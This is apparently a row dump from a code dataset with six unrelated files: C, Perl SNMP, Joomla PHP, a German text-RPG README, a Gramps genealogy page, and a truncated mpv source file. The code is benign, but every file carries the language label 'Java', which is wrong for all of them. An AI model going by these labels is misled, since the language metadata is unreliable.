code stringlengths 4 1.01M | language stringclasses 2 values |
|---|---|
/*
* $Id: x2c.c,v 1.7 2009/06/02 09:40:53 bnv Exp $
* $Log: x2c.c,v $
* Revision 1.7 2009/06/02 09:40:53 bnv
* MVS/CMS corrections
*
* Revision 1.6 2008/07/15 07:40:54 bnv
* #include changed from <> to ""
*
* Revision 1.5 2008/07/14 13:08:16 bnv
* MVS,CMS support
*
* Revision 1.4 2002/06/11 12:37:15 bnv
* Added: CDECL
*
* Revision 1.3 2001/06/25 18:49:48 bnv
* Header changed to Id
*
* Revision 1.2 1999/11/26 12:52:25 bnv
* Changed: To use the new macros
*
* Revision 1.1 1998/07/02 17:20:58 bnv
* Initial Version
*
*/
#include <ctype.h>
#include "lerror.h"
#include "lstring.h"
/* ------------------ Lx2c ------------------ */
void __CDECL
Lx2c( const PLstr to, const PLstr from )
{
int i,j,r;
char *t,*f;
L2STR(from);
Lfx(to,LLEN(*from)/2+1); /* a rough estimation */
t = LSTR(*to); f = LSTR(*from);
for (i=r=0; i<LLEN(*from); ) {
for (; ISSPACE(f[i]) && (i<LLEN(*from)); i++) ;; /*skip spaces*/
for (j=i; ISXDIGIT(f[j]) && (j<LLEN(*from)); j++) ;; /* find hexdigits */
if ((i<LLEN(*from)) && (j==i)) { /* Ooops wrong character */
Lerror(ERR_INVALID_HEX_CONST,0);
LZEROSTR(*to); /* return null when error occures */
return;
}
if ((j-i)&1) {
t[r++] = HEXVAL(f[i]);
i++;
}
for (; i<j; i+=2)
t[r++] = (HEXVAL(f[i])<<4) | HEXVAL(f[i+1]);
}
LTYPE(*to) = LSTRING_TY;
LLEN(*to) = r;
} /* Lx2c */
| Java |
#!/usr/bin/perl
use strict;
use warnings;
use Net::SNMP;
my $OID_sysUpTime = '1.3.6.1.2.1.1.3.0';
my ($session, $error) = Net::SNMP->session(
-hostname => shift || '127.0.0.1',
-community => shift || 'public',
);
if (!defined $session) {
printf "ERROR: %s.\n", $error;
exit 1;
}
my $result = $session->get_request(-varbindlist => [ $OID_sysUpTime ],);
if (!defined $result) {
printf "ERROR: %s.\n", $session->error();
$session->close();
exit 1;
}
printf "The sysUpTime for host '%s' is %s.\n",
$session->hostname(), $result->{$OID_sysUpTime};
$session->close();
exit 0;
| Java |
<?php
/**
* @version 1.0.0
* @package com_somosmaestros
* @copyright Copyright (C) 2015. Todos los derechos reservados.
* @license Licencia Pública General GNU versión 2 o posterior. Consulte LICENSE.txt
* @author Daniel Gustavo Álvarez Gaitán <info@danielalvarez.com.co> - http://danielalvarez.com.co
*/
defined('_JEXEC') or die;
jimport('joomla.application.component.modellist');
/**
* Methods supporting a list of Somosmaestros records.
*/
class SomosmaestrosModelFormacions extends JModelList
{
/**
* Constructor.
*
* @param array An optional associative array of configuration settings.
*
* @see JController
* @since 1.6
*/
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'id', 'a.id',
'ordering', 'a.ordering',
'state', 'a.state',
'created_by', 'a.created_by',
'titulo', 'a.titulo',
'contenido', 'a.contenido',
'imagen_grande', 'a.imagen_grande',
'imagen_pequena', 'a.imagen_pequena',
'destacado', 'a.destacado',
'delegacion', 'a.delegacion',
'tipo_institucion', 'a.tipo_institucion',
'segmento', 'a.segmento',
'nivel', 'a.nivel',
'ciudad', 'a.ciudad',
'area', 'a.area',
'rol', 'a.rol',
'proyecto', 'a.proyecto',
'publico', 'a.publico',
'asistentes', 'a.asistentes',
'disponibilidad', 'a.disponibilidad',
'fuente', 'a.fuente',
'preview', 'a.preview',
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @since 1.6
*/
protected function populateState($ordering = null, $direction = null)
{
// Initialise variables.
$app = JFactory::getApplication();
// List state information
$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'));
$this->setState('list.limit', $limit);
$limitstart = $app->input->getInt('limitstart', 0);
$this->setState('list.start', $limitstart);
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
case 'ordering':
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
}
break;
case 'direction':
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
}
break;
case 'limit':
$limit = $value;
break;
// Just to keep the default case
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
// Receive & set filters
if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
{
foreach ($filters as $name => $value)
{
$this->setState('filter.' . $name, $value);
}
}
$ordering = $app->input->get('filter_order');
if (!empty($ordering))
{
$list = $app->getUserState($this->context . '.list');
$list['ordering'] = $app->input->get('filter_order');
$app->setUserState($this->context . '.list', $list);
}
$orderingDirection = $app->input->get('filter_order_Dir');
if (!empty($orderingDirection))
{
$list = $app->getUserState($this->context . '.list');
$list['direction'] = $app->input->get('filter_order_Dir');
$app->setUserState($this->context . '.list', $list);
}
$list = $app->getUserState($this->context . '.list');
if (empty($list['ordering']))
{
$list['ordering'] = 'ordering';
}
if (empty($list['direction']))
{
$list['direction'] = 'asc';
}
$this->setState('list.ordering', $list['ordering']);
$this->setState('list.direction', $list['direction']);
}
/**
* Build an SQL query to load the list data.
*
* @return JDatabaseQuery
* @since 1.6
*/
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query
->select(
$this->getState(
'list.select', 'DISTINCT a.*'
)
);
$query->from('`#__somosmaestros_formacion` AS a');
// Join over the users for the checked out user.
$query->select('uc.name AS editor');
$query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');
// Join over the created by field 'created_by'
$query->join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');
if (!JFactory::getUser()->authorise('core.edit.state', 'com_somosmaestros'))
{
$query->where('a.state = 1');
}
// Filter by search in title
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->Quote('%' . $db->escape($search, true) . '%');
$query->where('( a.titulo LIKE '.$search.' OR a.delegacion LIKE '.$search.' OR a.tipo_institucion LIKE '.$search.' OR a.segmento LIKE '.$search.' OR a.nivel LIKE '.$search.' OR a.ciudad LIKE '.$search.' OR a.area LIKE '.$search.' OR a.rol LIKE '.$search.' OR a.proyecto LIKE '.$search.' )');
}
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
if ($orderCol && $orderDirn)
{
$query->order($db->escape($orderCol . ' ' . $orderDirn));
}
return $query;
}
public function getItems()
{
$items = parent::getItems();
return $items;
}
/**
* Overrides the default function to check Date fields format, identified by
* "_dateformat" suffix, and erases the field if it's not correct.
*/
protected function loadFormData()
{
$app = JFactory::getApplication();
$filters = $app->getUserState($this->context . '.filter', array());
$error_dateformat = false;
foreach ($filters as $key => $value)
{
if (strpos($key, '_dateformat') && !empty($value) && !$this->isValidDate($value))
{
$filters[$key] = '';
$error_dateformat = true;
}
}
if ($error_dateformat)
{
$app->enqueueMessage(JText::_("COM_SOMOSMAESTROS_SEARCH_FILTER_DATE_FORMAT"), "warning");
$app->setUserState($this->context . '.filter', $filters);
}
return parent::loadFormData();
}
/**
* Checks if a given date is valid and in an specified format (YYYY-MM-DD)
*
* @param string Contains the date to be checked
*
*/
private function isValidDate($date)
{
return preg_match("/^(19|20)\d\d[-](0[1-9]|1[012])[-](0[1-9]|[12][0-9]|3[01])$/", $date) && date_create($date);
}
}
| Java |
```javascript
_____ _ _ _ ____ ____ ____
|_ _|__ _ __(_) __| (_)_ _ _ __ ___ | _ \| _ \ / ___|
| |/ _ \ '__| |/ _` | | | | | '_ ` _ \ | |_) | |_) | | _
| | __/ | | | (_| | | |_| | | | | | | | _ <| __/| |_| |
|_|\___|_| |_|\__,_|_|\__,_|_| |_| |_| |_| \_\_| \____|
^ \ / ^
/ \ \\__// / \
/ \ ('\ /') / \
_________________/_____\__\@ @/___/_____\________________
| ¦\,,/¦ |
| \VV/ |
| An Oldschool text RPG |
| Have fun and feel free to help |
| Developed by Tehral |
|__________________________________________________________|
| ./\/\ / \ /\/\. |
|/ V V \|
" "
```
SOON translated to english...
Einleitung
Da ich ziemlich neu in der Programmierung bin, habe ich mit einem Textbasiertem RPG mit dem Namen Teridium War angefangen.
Das Spiel selbst verfügt über keine Story, hat jedoch meiner Meinung nach alle benötigte Sachen um als RPG deklariert werden zu dürfen.
Über das Spiel
Generell
Name: Teridium War
Typ: Konsolenanwendung
Sprache: Englisch
Der Charakter
Der Charakter besitzt folgende Eigenschaften:
- Leben (HP)
- Mana (MP)
- Waffe
- Waffengrundschaden
- Waffenzusatzschaden (Würfel6)
- Attackewert (1-20)
- Verteidigungswert (1-20)
- Rüstungswert
- Rüstungsteile
- Level
- Gold
- EXP
Die Gegner
Jeder Gegner besitzt verschiedene Werte für folgende Attribute:
- Name
- Leben (HP)
- Mana (MP)
- Attacke (1-20)
- Verteidigung (1-20)
- EXP Reward
- Gold Reward
- ASCII Bild
Funktionen
- Kampf gegen Random Monster (27 verschiedene)
- Rundenbasiert
- Mit Waffe
- Zauber
- 3 DMG & 1 Heal
- Tränke
- Mana (MP)
- Leben (HP)
- Gold Reward
- EXP Reward
- Levelanstieg -> Attacke und oder Verteidigung wird erhöht.
- Shop um einzukaufen
- Waffen
- 3 Kategorien
- Rüstungsteile
- 5 Kategorien
- Tränke
- Leben (HP)
- Mana (MP)
- Taverne
- Essen & Trinken -> HP/MP auffüllen
- Rasten -> HP/MP auffüllen
- Charakter Status anzeigen
- Name
- HP
- MP
- Attacke
- Verteidigung
- Spiel speichern
- Alle Charakter Werte anhand Namen
- Mehrere Spielstände möglich
- Spiel laden
- Alle Charakter Werte anhand Namen
- Mehrere Spielstände möglich
- Einleitungstutorial
- Kampfinstruktionen
Das Spielsystem
Das Spiel läuft folgender Massen ab:
1.Spieler muss Auswahl treffen
Open Player Stats
- Status anzeigen
Visit the Shop
- Shop öffnen
- Kategorie aussuchen
- Unterkategorie aussuchen
- Gegenstand kaufen
Go to the Tavern
- Rest -> Restore HP & MP
- Trinken -> Restore HP & MP
Fight against a Monster
Save Game
Exit the Game
Wenn abgeschlossen zurück zu 1.
Das Kampfsystem
Das Kampfsystem ist relativ simpel sobald man den dreh raus hat:
Runde I
Spieler greift zuerst an
```javascript
-> Attacke
-> Würfel 20 werfen
-> Wenn Wert <= Angriffswert dann erfolg
-> Gegner Würfel 20 auf Verteidigung
-> Wenn <= Verteidigungswert Gegner dann Erfolg
-> Wenn > Verteidigungswert Gegner kann nicht parieren
-> Spieler wirft die Anzahl Würfel 6 für seine Waffe
-> Schaden = Alle Ergebnisse Würfel 6 + Grundschaden der Waffe
-> Wenn Wert > Angriffswert dann Misserfolg
-> Zauber
-> Auswahl
-> Mana >= Zauberkosten
-> Gegner verliert Zauberdmg
-> Tränke
-> Auswahl
-> Attribute anpassen
Gegner attackiert
-> Attacke
-> Würfel 20 wird im Hintergrund geworfen
-> Wenn Wert <= Angriffswert dann Erfolg
-> Spieler Würfel 20 auf Verteidigung
-> Wenn <= Verteidigungswert Spieler dann Erfolg
-> Wenn > Verteidigungswert Spieler kann nicht parieren
-> Schaden = DMG Monsterwaffe - Rüstungswert des Helden
-> Wenn Wert > Angriffswert dann Misserfolg
-> Zauber (sofern Magisch begabt)
-> Random Zauber
-> Mana >= Zauberkosten
-> Gegner verliert Zauberdmg
Runde II
.
.
.
```
| Java |
<!DOCTYPE html>
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<head lang="en-US">
<title>My Family Tree - Douglas, Frederick</title>
<meta charset="UTF-8" />
<meta name ="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1" />
<meta name ="apple-mobile-web-app-capable" content="yes" />
<meta name="generator" content="Gramps 4.2.2 http://gramps-project.org/" />
<meta name="author" content="" />
<link href="../../../images/favicon2.ico" rel="shortcut icon" type="image/x-icon" />
<link href="../../../css/narrative-screen.css" media="screen" rel="stylesheet" type="text/css" />
<link href="../../../css/narrative-print.css" media="print" rel="stylesheet" type="text/css" />
<link href="../../../css/ancestortree.css" media="screen" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="header">
<h1 id="SiteTitle">My Family Tree</h1>
</div>
<div class="wrapper" id="nav" role="navigation">
<div class="container">
<ul class="menu" id="dropmenu">
<li class = "CurrentSection"><a href="../../../individuals.html" title="Individuals">Individuals</a></li>
<li><a href="../../../index.html" title="Surnames">Surnames</a></li>
<li><a href="../../../places.html" title="Places">Places</a></li>
<li><a href="../../../sources.html" title="Sources">Sources</a></li>
<li><a href="../../../media.html" title="Media">Media</a></li>
<li><a href="../../../thumbnails.html" title="Thumbnails">Thumbnails</a></li>
</ul>
</div>
</div>
<div class="content" id="IndividualDetail">
<h3>Douglas, Frederick<sup><small> <a href="#sref1">1</a></small></sup></h3>
<div id="summaryarea">
<table class="infolist">
<tr>
<td class="ColumnAttribute">Birth Name</td>
<td class="ColumnValue">
Douglas, Frederick
</td>
</tr>
<tr>
<td class="ColumnAttribute">Gramps ID</td>
<td class="ColumnValue">I0996</td>
</tr>
<tr>
<td class="ColumnAttribute">Gender</td>
<td class="ColumnValue">male</td>
</tr>
</table>
</div>
<div class="subsection" id="events">
<h4>Events</h4>
<table class="infolist eventlist">
<thead>
<tr>
<th class="ColumnEvent">Event</th>
<th class="ColumnDate">Date</th>
<th class="ColumnPlace">Place</th>
<th class="ColumnDescription">Description</th>
<th class="ColumnNotes">Notes</th>
<th class="ColumnSources">Sources</th>
</tr>
</thead>
<tbody>
<tr>
<td class="ColumnEvent">
Death
</td>
<td class="ColumnDate"> </td>
<td class="ColumnPlace">
<a href="../../../plc/5/c/9PDKQCPTOZZWMPSPC5.html" title="Dover, Kent, DE, USA">
Dover, Kent, DE, USA
</a>
</td>
<td class="ColumnDescription">
Death of Douglas, Frederick
</td>
<td class="ColumnNotes">
<div>
</div>
</td>
<td class="ColumnSources">
</td>
</tr>
</tbody>
</table>
</div>
<div class="subsection" id="families">
<h4>Families</h4>
<table class="infolist">
<tr class="BeginFamily">
<td class="ColumnType"> </td>
<td class="ColumnAttribute"> </td>
<td class="ColumnValue"><a href="" title="Family of Douglas, Frederick and Stanley, Barbara">Family of Douglas, Frederick and Stanley, Barbara<span class="grampsid"> [F0319]</span></a></td>
</tr>
<tr class="BeginFamily">
<td class="ColumnType">Married</td>
<td class="ColumnAttribute">Wife</td>
<td class="ColumnValue">
<a href="../../../ppl/i/3/OPDKQC8T84H79IVZ3I.html">Stanley, Barbara<span class="grampsid"> [I0997]</span></a>
</td>
</tr>
<tr>
<td class="ColumnType"> </td>
<td class="ColumnAttribute"> </td>
<td class="ColumnValue">
<table class="infolist eventlist">
<thead>
<tr>
<th class="ColumnEvent">Event</th>
<th class="ColumnDate">Date</th>
<th class="ColumnPlace">Place</th>
<th class="ColumnDescription">Description</th>
<th class="ColumnNotes">Notes</th>
<th class="ColumnSources">Sources</th>
</tr>
</thead>
<tbody>
<tr>
<td class="ColumnEvent">
Marriage
</td>
<td class="ColumnDate"> </td>
<td class="ColumnPlace"> </td>
<td class="ColumnDescription">
Marriage of Douglas, Frederick and Stanley, Barbara
</td>
<td class="ColumnNotes">
<div>
</div>
</td>
<td class="ColumnSources">
</td>
</tr>
</tbody>
</table>
</td>
<tr>
<td class="ColumnType"> </td>
<td class="ColumnAttribute">Children</td>
<td class="ColumnValue">
<ol>
<li>
<a href="../../../ppl/n/z/WVBKQC4M0WSS7YOMZN.html">Douglas, Mary“Polly”<span class="grampsid"> [I0921]</span></a>
</li>
</ol>
</td>
</tr>
</tr>
</table>
</div>
<div class="subsection" id="pedigree">
<h4>Pedigree</h4>
<ol class="pedigreegen">
<li>
<ol>
<li class="thisperson">
Douglas, Frederick
<ol class="spouselist">
<li class="spouse">
<a href="../../../ppl/i/3/OPDKQC8T84H79IVZ3I.html">Stanley, Barbara<span class="grampsid"> [I0997]</span></a>
<ol>
<li>
<a href="../../../ppl/n/z/WVBKQC4M0WSS7YOMZN.html">Douglas, Mary“Polly”<span class="grampsid"> [I0921]</span></a>
</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
</ol>
</div>
<div class="subsection" id="sourcerefs">
<h4>Source References</h4>
<ol>
<li>
<a href="../../../src/x/a/X5TJQC9JXU4RKT6VAX.html" title="Import from test2.ged" name ="sref1">
Import from test2.ged
<span class="grampsid"> [S0003]</span>
</a>
</li>
</ol>
</div>
</div>
<div class="fullclear"></div>
<div id="footer">
<p id="createdate">
Generated by <a href="http://gramps-project.org/">Gramps</a> 4.2.2 on 2015-12-25<br />Last change was the 2007-07-26 08:34:25
</p>
<p id="copyright">
</p>
</div>
</body>
</html>
| Java |
/*
* This file is part of mpv.
*
* mpv is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* mpv is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with mpv. If not, see <http://www.gnu.org/licenses/>.
*/
/// \file
/// \ingroup Config
#include "config.h"
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
#include <assert.h>
#include <stdbool.h>
#include "libmpv/client.h"
#include "mpv_talloc.h"
#include "m_config.h"
#include "options/m_option.h"
#include "common/msg.h"
#include "common/msg_control.h"
static const union m_option_value default_value;
// Profiles allow to predefine some sets of options that can then
// be applied later on with the internal -profile option.
#define MAX_PROFILE_DEPTH 20
// Maximal include depth.
#define MAX_RECURSION_DEPTH 8
struct m_profile {
struct m_profile *next;
char *name;
char *desc;
int num_opts;
// Option/value pair array.
char **opts;
};
// In the file local case, this contains the old global value.
struct m_opt_backup {
struct m_opt_backup *next;
struct m_config_option *co;
void *backup;
};
static int parse_include(struct m_config *config, struct bstr param, bool set,
int flags)
{
if (param.len == 0)
return M_OPT_MISSING_PARAM;
if (!set)
return 1;
if (config->recursion_depth >= MAX_RECURSION_DEPTH) {
MP_ERR(config, "Maximum 'include' nesting depth exceeded.\n");
return M_OPT_INVALID;
}
char *filename = bstrdup0(NULL, param);
config->recursion_depth += 1;
config->includefunc(config->includefunc_ctx, filename, flags);
config->recursion_depth -= 1;
talloc_free(filename);
return 1;
}
static int parse_profile(struct m_config *config, const struct m_option *opt,
struct bstr name, struct bstr param, bool set, int flags)
{
if (!bstrcmp0(param, "help")) {
struct m_profile *p;
if (!config->profiles) {
MP_INFO(config, "No profiles have been defined.\n");
return M_OPT_EXIT - 1;
}
MP_INFO(config, "Available profiles:\n");
for (p = config->profiles; p; p = p->next)
MP_INFO(config, "\t%s\t%s\n", p->name, p->desc ? p->desc : "");
MP_INFO(config, "\n");
return M_OPT_EXIT - 1;
}
char **list = NULL;
int r = m_option_type_string_list.parse(config->log, opt, name, param, &list);
if (r < 0)
return r;
if (!list || !list[0])
return M_OPT_INVALID;
for (int i = 0; list[i]; i++) {
if (set)
r = m_config_set_profile(config, list[i], flags);
if (r < 0)
break;
}
m_option_free(opt, &list);
return r;
}
static int show_profile(struct m_config *config, bstr param)
{
struct m_profile *p;
if (!param.len)
return M_OPT_MISSING_PARAM;
if (!(p = m_config_get_profile(config, param))) {
MP_ERR(config, "Unknown profile '%.*s'.\n", BSTR_P(param));
return M_OPT_EXIT - 1;
}
if (!config->profile_depth)
MP_INFO(config, "Profile %s: %s\n", p->name,
p->desc ? p->desc : "");
config->profile_depth++;
for (int i = 0; i < p->num_opts; i++) {
MP_INFO(config, "%*s%s=%s\n", config->profile_depth, "",
p->opts[2 * i], p->opts[2 * i + 1]);
if (config->profile_depth < MAX_PROFILE_DEPTH
&& !strcmp(p->opts[2*i], "profile")) {
char *e, *list = p->opts[2 * i + 1];
while ((e = strchr(list, ','))) {
int l = e - list;
if (!l)
continue;
show_profile(config, (bstr){list, e - list});
list = e + 1;
}
if (list[0] != '\0')
show_profile(config, bstr0(list));
}
}
config->profile_depth--;
if (!config->profile_depth)
MP_INFO(config, "\n");
return M_OPT_EXIT - 1;
}
static int list_options(struct m_config *config)
{
m_config_print_option_list(config);
return M_OPT_EXIT;
}
// The memcpys are supposed to work around the strict aliasing violation,
// that would result if we just dereferenced a void** (where the void** is
// actually casted from struct some_type* ). The dummy struct type is in
// theory needed, because void* and struct pointers could have different
// representations, while pointers to different struct types don't.
static void *substruct_read_ptr(const void *ptr)
{
struct mp_dummy_ *res;
memcpy(&res, ptr, sizeof(res));
return res;
}
static void substruct_write_ptr(void *ptr, void *val)
{
struct mp_dummy_ *src = val;
memcpy(ptr, &src, sizeof(src));
}
static void add_options(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *defs);
static void config_destroy(void *p)
{
struct m_config *config = p;
m_config_restore_backups(config);
for (int n = 0; n < config->num_opts; n++)
m_option_free(config->opts[n].opt, config->opts[n].data);
}
struct m_config *m_config_new(void *talloc_ctx, struct mp_log *log,
size_t size, const void *defaults,
const struct m_option *options)
{
struct m_config *config = talloc(talloc_ctx, struct m_config);
talloc_set_destructor(config, config_destroy);
*config = (struct m_config)
{.log = log, .size = size, .defaults = defaults, .options = options};
// size==0 means a dummy object is created
if (size) {
config->optstruct = talloc_zero_size(config, size);
if (defaults)
memcpy(config->optstruct, defaults, size);
}
if (options)
add_options(config, "", config->optstruct, defaults, options);
return config;
}
struct m_config *m_config_from_obj_desc(void *talloc_ctx, struct mp_log *log,
struct m_obj_desc *desc)
{
return m_config_new(talloc_ctx, log, desc->priv_size, desc->priv_defaults,
desc->options);
}
// Like m_config_from_obj_desc(), but don't allocate option struct.
struct m_config *m_config_from_obj_desc_noalloc(void *talloc_ctx,
struct mp_log *log,
struct m_obj_desc *desc)
{
return m_config_new(talloc_ctx, log, 0, desc->priv_defaults, desc->options);
}
int m_config_set_obj_params(struct m_config *conf, char **args)
{
for (int n = 0; args && args[n * 2 + 0]; n++) {
int r = m_config_set_option(conf, bstr0(args[n * 2 + 0]),
bstr0(args[n * 2 + 1]));
if (r < 0)
return r;
}
return 0;
}
int m_config_apply_defaults(struct m_config *config, const char *name,
struct m_obj_settings *defaults)
{
int r = 0;
for (int n = 0; defaults && defaults[n].name; n++) {
struct m_obj_settings *entry = &defaults[n];
if (name && strcmp(entry->name, name) == 0) {
r = m_config_set_obj_params(config, entry->attribs);
break;
}
}
return r;
}
static void ensure_backup(struct m_config *config, struct m_config_option *co)
{
if (co->opt->type->flags & M_OPT_TYPE_HAS_CHILD)
return;
if (co->opt->flags & M_OPT_GLOBAL)
return;
if (!co->data)
return;
for (struct m_opt_backup *cur = config->backup_opts; cur; cur = cur->next) {
if (cur->co->data == co->data) // comparing data ptr catches aliases
return;
}
struct m_opt_backup *bc = talloc_ptrtype(NULL, bc);
*bc = (struct m_opt_backup) {
.co = co,
.backup = talloc_zero_size(bc, co->opt->type->size),
};
m_option_copy(co->opt, bc->backup, co->data);
bc->next = config->backup_opts;
config->backup_opts = bc;
co->is_set_locally = true;
}
void m_config_restore_backups(struct m_config *config)
{
while (config->backup_opts) {
struct m_opt_backup *bc = config->backup_opts;
config->backup_opts = bc->next;
m_option_copy(bc->co->opt, bc->co->data, bc->backup);
m_option_free(bc->co->opt, bc->backup);
bc->co->is_set_locally = false;
talloc_free(bc);
}
}
void m_config_backup_opt(struct m_config *config, const char *opt)
{
struct m_config_option *co = m_config_get_co(config, bstr0(opt));
if (co) {
ensure_backup(config, co);
} else {
MP_ERR(config, "Option %s not found.\n", opt);
}
}
void m_config_backup_all_opts(struct m_config *config)
{
for (int n = 0; n < config->num_opts; n++)
ensure_backup(config, &config->opts[n]);
}
// Given an option --opt, add --no-opt (if applicable).
static void add_negation_option(struct m_config *config,
struct m_config_option *orig,
const char *parent_name)
{
const struct m_option *opt = orig->opt;
int value;
if (opt->type == CONF_TYPE_FLAG) {
value = 0;
} else if (opt->type == CONF_TYPE_CHOICE) {
// Find out whether there's a "no" choice.
// m_option_parse() should be used for this, but it prints
// unsilenceable error messages.
struct m_opt_choice_alternatives *alt = opt->priv;
for ( ; alt->name; alt++) {
if (strcmp(alt->name, "no") == 0)
break;
}
if (!alt->name)
return;
value = alt->value;
} else {
return;
}
struct m_option *no_opt = talloc_ptrtype(config, no_opt);
*no_opt = (struct m_option) {
.name = opt->name,
.type = CONF_TYPE_STORE,
.flags = opt->flags & (M_OPT_NOCFG | M_OPT_GLOBAL | M_OPT_PRE_PARSE),
.offset = opt->offset,
.max = value,
};
// Add --no-sub-opt
struct m_config_option co = *orig;
co.name = talloc_asprintf(config, "no-%s", orig->name);
co.opt = no_opt;
co.is_generated = true;
MP_TARRAY_APPEND(config, config->opts, config->num_opts, co);
// Add --sub-no-opt (unfortunately needed for: "--sub=...:no-opt")
if (parent_name[0]) {
co.name = talloc_asprintf(config, "%s-no-%s", parent_name, opt->name);
MP_TARRAY_APPEND(config, config->opts, config->num_opts, co);
}
}
static void m_config_add_option(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *arg);
static void add_options(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *defs)
{
for (int i = 0; defs && defs[i].name; i++)
m_config_add_option(config, parent_name, optstruct, optstruct_def, &defs[i]);
}
// Initialize a field with a given value. In case this is dynamic data, it has
// to be allocated and copied. src can alias dst, also can be NULL.
static void init_opt_inplace(const struct m_option *opt, void *dst,
const void *src)
{
union m_option_value temp = {0};
if (src)
memcpy(&temp, src, opt->type->size);
memset(dst, 0, opt->type->size);
m_option_copy(opt, dst, &temp);
}
static void m_config_add_option(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *arg)
{
assert(config != NULL);
assert(arg != NULL);
struct m_config_option co = {
.opt = arg,
.name = arg->name,
};
if (arg->offset >= 0) {
if (optstruct)
co.data = (char *)optstruct + arg->offset;
if (optstruct_def)
co.default_data = (char *)optstruct_def + arg->offset;
}
if (arg->defval)
co.default_data = arg->defval;
if (!co.default_data)
co.default_data = &default_value;
// Fill in the full name
if (!co.name[0]) {
co.name = parent_name;
} else if (parent_name[0]) {
co.name = talloc_asprintf(config, "%s-%s", parent_name, co.name);
}
// Option with children -> add them
if (arg->type->flags & M_OPT_TYPE_HAS_CHILD) {
const struct m_sub_options *subopts = arg->priv;
void *new_optstruct = NULL;
if (co.data) {
new_optstruct = m_config_alloc_struct(config, subopts);
substruct_write_ptr(co.data, new_optstruct);
}
const void *new_optstruct_def = substruct_read_ptr(co.default_data);
if (!new_optstruct_def)
new_optstruct_def = subopts->defaults;
add_options(config, co.name, new_optstruct,
new_optstruct_def, subopts->opts);
} else {
// Initialize options
if (co.data && co.default_data) {
if (arg->type->flags & M_OPT_TYPE_DYNAMIC) {
// Would leak memory by overwriting *co.data repeatedly.
for (int i = 0; i < config->num_opts; i++) {
if (co.data == config->opts[i].data)
assert(0);
}
}
init_opt_inplace(arg, co.data, co.default_data);
}
}
if (arg->name[0]) // no own name -> hidden
MP_TARRAY_APPEND(config, config->opts, config->num_opts, co);
add_negation_option(config, &co, parent_name);
if (co.opt->type == &m_option_type_alias) {
co.is_generated = true; // hide it
const char *alias = (const char *)co.opt->priv;
char no_alias[40];
snprintf(no_alias, sizeof(no_alias), "no-%s", alias);
if (m_config_get_co(config, bstr0(no_alias))) {
struct m_option *new = talloc_zero(config, struct m_option);
new->name = talloc_asprintf(config, "no-%s", co.name);
new->priv = talloc_strdup(config, no_alias);
new->type = &m_option_type_alias;
new->offset = -1;
m_config_add_option(config, "", NULL, NULL, new);
}
}
if (co.opt->type == &m_option_type_removed)
co.is_generated = true; // hide it
}
struct m_config_option *m_config_get_co(const struct m_config *config,
struct bstr name)
{
if (!name.len)
return NULL;
for (int n = 0; n < config->num_opts; n++) {
struct m_config_option *co = &config->opts[n];
struct bstr coname = bstr0(co->name);
bool matches = false;
if ((co->opt->type->flags & M_OPT_TYPE_ALLOW_WILDCARD)
&& bstr_endswith0(coname, "*")) {
coname.len--;
if (bstrcmp(bstr_splice(name, 0, coname.len), coname) == 0)
matches = true;
} else if (bstrcmp(coname, name) == 0)
matches = true;
if (matches) {
const char *prefix = config->is_toplevel ? "--" : "";
if (co->opt->type == &m_option_type_alias) {
const char *alias = (const char *)co->opt->priv;
if (!co->warning_was_printed) {
MP_WARN(config, "Warning: option %s%s was replaced with "
"%s%s and might be removed in the future.\n",
prefix, co->name, prefix, alias);
co->warning_was_printed = true;
}
return m_config_get_co(config, bstr0(alias));
} else if (co->opt->type == &m_option_type_removed) {
if (!co->warning_was_printed) {
char *msg = co->opt->priv;
if (msg) {
MP_FATAL(config, "Option %s%s was removed: %s\n",
prefix, co->name, msg);
} else {
MP_FATAL(config, "Option %s%s was removed.\n",
prefix, co->name);
}
co->warning_was_printed = true;
}
return NULL;
} else if (co->opt->deprecation_message) {
if (!co->warning_was_printed) {
